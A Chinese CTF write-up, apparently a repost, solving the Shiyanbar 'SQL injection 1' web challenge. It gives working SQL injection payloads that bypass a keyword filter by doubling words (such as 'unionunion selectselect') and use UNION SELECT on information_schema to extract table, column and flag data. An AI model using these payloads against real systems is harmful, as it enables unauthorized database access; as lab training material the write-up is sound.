1.实验吧——sql注入1(flag,到底过滤了什么东西? )
程序员文章站
2024-03-20 22:32:16
...
0x01:题目
实验吧——sql注入1网址 | 题目 |
---|---|
http://ctf5.shiyanbar.com/423/web/ | flag,到底过滤了什么东西? |
0x02:WP复现
1.正常访问:
http://ctf5.shiyanbar.com/423/web/ #如下图所示
2.输入单引号'
测试:
http://ctf5.shiyanbar.com/423/web/?id='
3.在URL框里测试哪些被过滤了:
①输入单引号测试:
http://ctf5.shiyanbar.com/423/web/?id=%27 #很明显是字符型注入
②使用and测试哪些被过滤:
http://ctf5.shiyanbar.com/423/web/?id=' and 1=1 # #如图所示,只要'闭合后,后面的空格+and+空格+空格+#被过滤
③尝试绕过and——双写法(注意空格也要双写),以及用手动写单引号闭合来绕过#注释符
http://ctf5.shiyanbar.com/423/web/?id=' andand 1='1 #发现无报错,yes绕过成功
④为了进一步的验证可以在第一个闭合处,输入1
http://ctf5.shiyanbar.com/423/web/?id=1' andand 1='1 #发现无报错,yes绕过成功,回显数据。
⑤使用or测试:
' or 1=1 # #发现第一个闭合后,的所有东西被过滤,空格+or+1=1+空格+#,只有一个自动的闭合单引号显示
⑥尝试
' or 1='1 #不报错。。。。。
4.order by猜解字段数,虽然可以看出来,好像是1列(1个字段)。
但是这里的order by好像没有作用了。。。。。
5.那就使用union select测试:
①尝试一个字段:
' unionunion selectselect '1 #发现,回显正常
②尝试两个字段:
' unionunion selectselect 1,'2 #发现,列数不同,所以只能是1列(列即是字段)
6.使用union select开始暴库,表,字段
①库名
' unionunion selectselect database()' #库名web1(注意:闭合时候,单引号位置要多次尝试,这次就是在database()之后手动闭合,但是order by时候就不行,必须要在1前面闭合)
②暴库中的表
' unionunion selectselect table_name fromfrom information_schema.tables wherewhere table_schema=database()'
' unionunion selectselect table_name fromfrom information_schema.tables wherewhere '1 #注意,只是双写后的要加双空格 #既然上面那一条是查询当前库的当前表查询不到,我们直接查询所有表即可
③暴表中的字段:
’ unionunion selectselect columcolumn_namen_name fromfrom inforinformation_schema.columnsmation_schema.columns wherewhere ‘1’='1 #出了点问题,字段名应该有flag的
④暴flag字段
' unionunion selectselect flag fromfrom flag wherewhere '1'='1